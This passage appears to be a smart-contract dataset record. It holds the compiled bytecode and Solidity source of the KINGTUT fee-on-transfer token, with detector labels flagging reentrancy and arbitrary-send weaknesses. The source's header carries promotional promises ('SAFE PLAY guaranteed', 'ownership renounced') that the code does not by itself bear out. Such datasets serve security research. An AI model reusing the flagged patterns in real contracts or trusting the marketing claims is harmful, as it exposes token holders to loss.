0009081526004602052604090205460019060ff168061149157506001600160a01b03841660009081526004602052604090205460ff165b1561149a575060005b6114a7858585848661165c565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610803573d6000803e3d6000fd5b600f805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061152c5761152c611ac1565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611585573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a99190611af0565b816001815181106115bc576115bc611ac1565b6001600160a01b0392831660209182029290920101526006546115e29130911684610fd3565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061161b908590600090869030904290600401611bb1565b600060405180830381600087803b15801561163557600080fd5b505af1158015611649573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b6000611668838361167e565b9050611676868686846116a2565b505050505050565b600080831561169b578215611696575060095461169b565b50600a545b9392505050565b6000806116af848461177f565b6001600160a01b03881660009081526002602052604090205491935091506116d8908590611aaa565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611708908390611b58565b6001600160a01b03861660009081526002602052604090205561172a816117b3565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161176f91815260200190565b60405180910390a3505050505050565b60008080606461178f8587611b70565b6117999190611b8f565b905060006117a78287611aaa565b96919550909350505050565b306000908152600260205260409020546117ce908290611b58565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561180e578581018301518582016040015282016117f2565b81811115611820576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108d357600080fd5b803561185681611836565b919050565b6000806040838503121561186e57600080fd5b823561187981611836565b946020939093013593505050565b6000806040838503121561189a57600080fd5b50508035926020909101359150565b6000806000606084860312156118be57600080fd5b83356118c981611836565b925060208401356118d981611836565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561191357600080fd5b823567ffffffffffffffff8082111561192b57600080fd5b818501915085601f83011261193f57600080fd5b813581811115611951576119516118ea565b8060051b604051601f19603f83011681018181108582111715611976576119766118ea565b60405291825284820192508381018501918883111561199457600080fd5b938501935b828510156119b9576119aa8561184b565b84529385019392850192611999565b98975050505050505050565b6000602082840312156119d757600080fd5b813561169b81611836565b6000602082840312156119f457600080fd5b5035919050565b80151581146108d357600080fd5b600060208284031215611a1b57600080fd5b813561169b816119fb565b60008060408385031215611a3957600080fd5b8235611a4481611836565b91506020830135611a5481611836565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611abc57611abc611a94565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ae957611ae9611a94565b5060010190565b600060208284031215611b0257600080fd5b815161169b81611836565b600080600060608486031215611b2257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b4d57600080fd5b815161169b816119fb565b60008219821115611b6b57611b6b611a94565b500190565b6000816000190483118215151615611b8a57611b8a611a94565b500290565b600082611bac57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c015784516001600160a01b031683529383019391830191600101611bdc565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c07aef75d3dd4dabd31317c91bdfccdc2c122c1061a2a95154a6573cce1dd17b64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,053 |
0xcC001989903317b3C0947e7129DeabF6Ab355b00
|
/***
*
* $KINGTUT (Tutankhamun) is launching at Uniswap on August 17, 2021 at 9pm UTC.
* Tutankhamun, The King of the Tokens is powered by the DexRoulette team.
*
* Join community via t.me/kingtuttoken
* twitter.com/kingtuttoken
*
* Fair launch, locked liquidity, ownership renounced, SAFE PLAY guaranteed!
*
*/
/*
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KINGTUT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Tutankhamun | t.me/kingtuttoken";
string private constant _symbol = unicode"KINGTUT";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610387578063c3c8cd80146103a7578063c9567bf9146103bc578063db92dbb6146103d1578063dd62ed3e146103e6578063e8078d941461042c57600080fd5b8063715018a6146102db5780638da5cb5b146102f057806395d89b4114610318578063a9059cbb14610348578063a985ceef1461036857600080fd5b8063313ce567116100fd578063313ce5671461022857806345596e2e146102445780635932ead11461026657806368a3a6a5146102865780636fc3eaec146102a657806370a08231146102bb57600080fd5b806306fdde0314610145578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f357806327f3a72a1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152601f81527f547574616e6b68616d756e207c20742e6d652f6b696e67747574746f6b656e0060208201525b6040516101949190611bfd565b60405180910390f35b3480156101a957600080fd5b506101bd6101b8366004611b55565b610441565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b506101bd61020e366004611b15565b610458565b34801561021f57600080fd5b506101e56104c1565b34801561023457600080fd5b5060405160098152602001610194565b34801561025057600080fd5b5061026461025f366004611bb8565b6104d1565b005b34801561027257600080fd5b50610264610281366004611b80565b61057a565b34801561029257600080fd5b506101e56102a1366004611aa5565b6105f9565b3480156102b257600080fd5b5061026461061c565b3480156102c757600080fd5b506101e56102d6366004611aa5565b610649565b3480156102e757600080fd5b5061026461066b565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610194565b34801561032457600080fd5b5060408051808201909152600781526612d25391d5155560ca1b6020820152610187565b34801561035457600080fd5b506101bd610363366004611b55565b6106df565b34801561037457600080fd5b50601454600160a81b900460ff166101bd565b34801561039357600080fd5b506101e56103a2366004611aa5565b6106ec565b3480156103b357600080fd5b50610264610712565b3480156103c857600080fd5b50610264610748565b3480156103dd57600080fd5b506101e5610795565b3480156103f257600080fd5b506101e5610401366004611add565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043857600080fd5b506102646107ad565b600061044e338484610b60565b5060015b92915050565b6000610465848484610c84565b6104b784336104b285604051806060016040528060288152602001611dd6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611227565b610b60565b5060019392505050565b60006104cc30610649565b905090565b6011546001600160a01b0316336001600160a01b0316146104f157600080fd5b6033811061053e5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161053590611c50565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161056f565b6001600160a01b0381166000908152600660205260408120546104529042611d40565b6011546001600160a01b0316336001600160a01b03161461063c57600080fd5b4761064681611261565b50565b6001600160a01b038116600090815260026020526040812054610452906112e6565b6000546001600160a01b031633146106955760405162461bcd60e51b815260040161053590611c50565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061044e338484610c84565b6001600160a01b0381166000908152600660205260408120600101546104529042611d40565b6011546001600160a01b0316336001600160a01b03161461073257600080fd5b600061073d30610649565b90506106468161136a565b6000546001600160a01b031633146107725760405162461bcd60e51b815260040161053590611c50565b6014805460ff60a01b1916600160a01b179055610790426078611cf5565b601555565b6014546000906104cc906001600160a01b0316610649565b6000546001600160a01b031633146107d75760405162461bcd60e51b815260040161053590611c50565b601454600160a01b900460ff16156108315760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610535565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086e3082683635c9adc5dea00000610b60565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a757600080fd5b505afa1580156108bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108df9190611ac1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092757600080fd5b505afa15801561093b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095f9190611ac1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a757600080fd5b505af11580156109bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109df9190611ac1565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a0f81610649565b600080610a246000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8757600080fd5b505af1158015610a9b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac09190611bd0565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2457600080fd5b505af1158015610b38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5c9190611b9c565b5050565b6001600160a01b038316610bc25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610535565b6001600160a01b038216610c235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610535565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610535565b6001600160a01b038216610d4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610535565b60008111610dac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610535565b6000546001600160a01b03848116911614801590610dd857506000546001600160a01b03838116911614155b156111ca57601454600160a81b900460ff1615610e58573360009081526006602052604090206002015460ff16610e5857604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e8357506013546001600160a01b03838116911614155b8015610ea857506001600160a01b03821660009081526005602052604090205460ff16155b1561100c57601454600160a01b900460ff16610f065760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610535565b60066009556004600a55601454600160a81b900460ff1615610fd257426015541115610fd257601054811115610f3b57600080fd5b6001600160a01b0382166000908152600660205260409020544211610fad5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610535565b610fb842602d611cf5565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100c57610fef42600f611cf5565b6001600160a01b0383166000908152600660205260409020600101555b600061101730610649565b601454909150600160b01b900460ff1615801561104257506014546001600160a01b03858116911614155b80156110575750601454600160a01b900460ff165b156111c857601454600160a81b900460ff16156110e4576001600160a01b03841660009081526006602052604090206001015442116110e45760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610535565b601454600160b81b900460ff161561114957600061110d600c548461150f90919063ffffffff16565b60145490915061113c9061113590859061112f906001600160a01b0316610649565b9061158e565b82906115ed565b90506111478161162f565b505b80156111b657600b5460145461117f916064916111799190611173906001600160a01b0316610649565b9061150f565b906115ed565b8111156111ad57600b546014546111aa916064916111799190611173906001600160a01b0316610649565b90505b6111b68161136a565b4780156111c6576111c647611261565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120c57506001600160a01b03831660009081526005602052604090205460ff165b15611215575060005b6112218484848461169d565b50505050565b6000818484111561124b5760405162461bcd60e51b81526004016105359190611bfd565b5060006112588486611d40565b95945050505050565b6011546001600160a01b03166108fc61127b8360026115ed565b6040518115909202916000818181858888f193505050501580156112a3573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112be8360026115ed565b6040518115909202916000818181858888f19350505050158015610b5c573d6000803e3d6000fd5b600060075482111561134d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610535565b60006113576116cb565b905061136383826115ed565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141457600080fd5b505afa158015611428573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144c9190611ac1565b8160018151811061146d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114939130911684610b60565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114cc908590600090869030904290600401611c85565b600060405180830381600087803b1580156114e657600080fd5b505af11580156114fa573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151e57506000610452565b600061152a8385611d21565b9050826115378583611d0d565b146113635760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610535565b60008061159b8385611cf5565b9050838110156113635760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610535565b600061136383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ee565b600a808210156116415750600a611655565b602882111561165257506028611655565b50805b61166081600261171c565b15611673578061166f81611d57565b9150505b611683600a61117983600661150f565b600955611696600a61117983600461150f565b600a555050565b806116aa576116aa61175e565b6116b584848461178c565b8061122157611221600e54600955600f54600a55565b60008060006116d8611883565b90925090506116e782826115ed565b9250505090565b6000818361170f5760405162461bcd60e51b81526004016105359190611bfd565b5060006112588486611d0d565b600061136383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118c5565b60095415801561176e5750600a54155b1561177557565b60098054600e55600a8054600f5560009182905555565b60008060008060008061179e876118f9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117d09087611956565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117ff908661158e565b6001600160a01b03891660009081526002602052604090205561182181611998565b61182b84836119e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161187091815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189f82826115ed565b8210156118bc57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118e65760405162461bcd60e51b81526004016105359190611bfd565b506118f18385611d72565b949350505050565b60008060008060008060008060006119168a600954600a54611a06565b92509250925060006119266116cb565b905060008060006119398e878787611a55565b919e509c509a509598509396509194505050505091939550919395565b600061136383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611227565b60006119a26116cb565b905060006119b0838361150f565b306000908152600260205260409020549091506119cd908261158e565b30600090815260026020526040902055505050565b6007546119ef9083611956565b6007556008546119ff908261158e565b6008555050565b6000808080611a1a6064611179898961150f565b90506000611a2d60646111798a8961150f565b90506000611a4582611a3f8b86611956565b90611956565b9992985090965090945050505050565b6000808080611a64888661150f565b90506000611a72888761150f565b90506000611a80888861150f565b90506000611a9282611a3f8686611956565b939b939a50919850919650505050505050565b600060208284031215611ab6578081fd5b813561136381611db2565b600060208284031215611ad2578081fd5b815161136381611db2565b60008060408385031215611aef578081fd5b8235611afa81611db2565b91506020830135611b0a81611db2565b809150509250929050565b600080600060608486031215611b29578081fd5b8335611b3481611db2565b92506020840135611b4481611db2565b929592945050506040919091013590565b60008060408385031215611b67578182fd5b8235611b7281611db2565b946020939093013593505050565b600060208284031215611b91578081fd5b813561136381611dc7565b600060208284031215611bad578081fd5b815161136381611dc7565b600060208284031215611bc9578081fd5b5035919050565b600080600060608486031215611be4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c2957858101830151858201604001528201611c0d565b81811115611c3a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cd45784516001600160a01b031683529383019391830191600101611caf565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0857611d08611d86565b500190565b600082611d1c57611d1c611d9c565b500490565b6000816000190483118215151615611d3b57611d3b611d86565b500290565b600082821015611d5257611d52611d86565b500390565b6000600019821415611d6b57611d6b611d86565b5060010190565b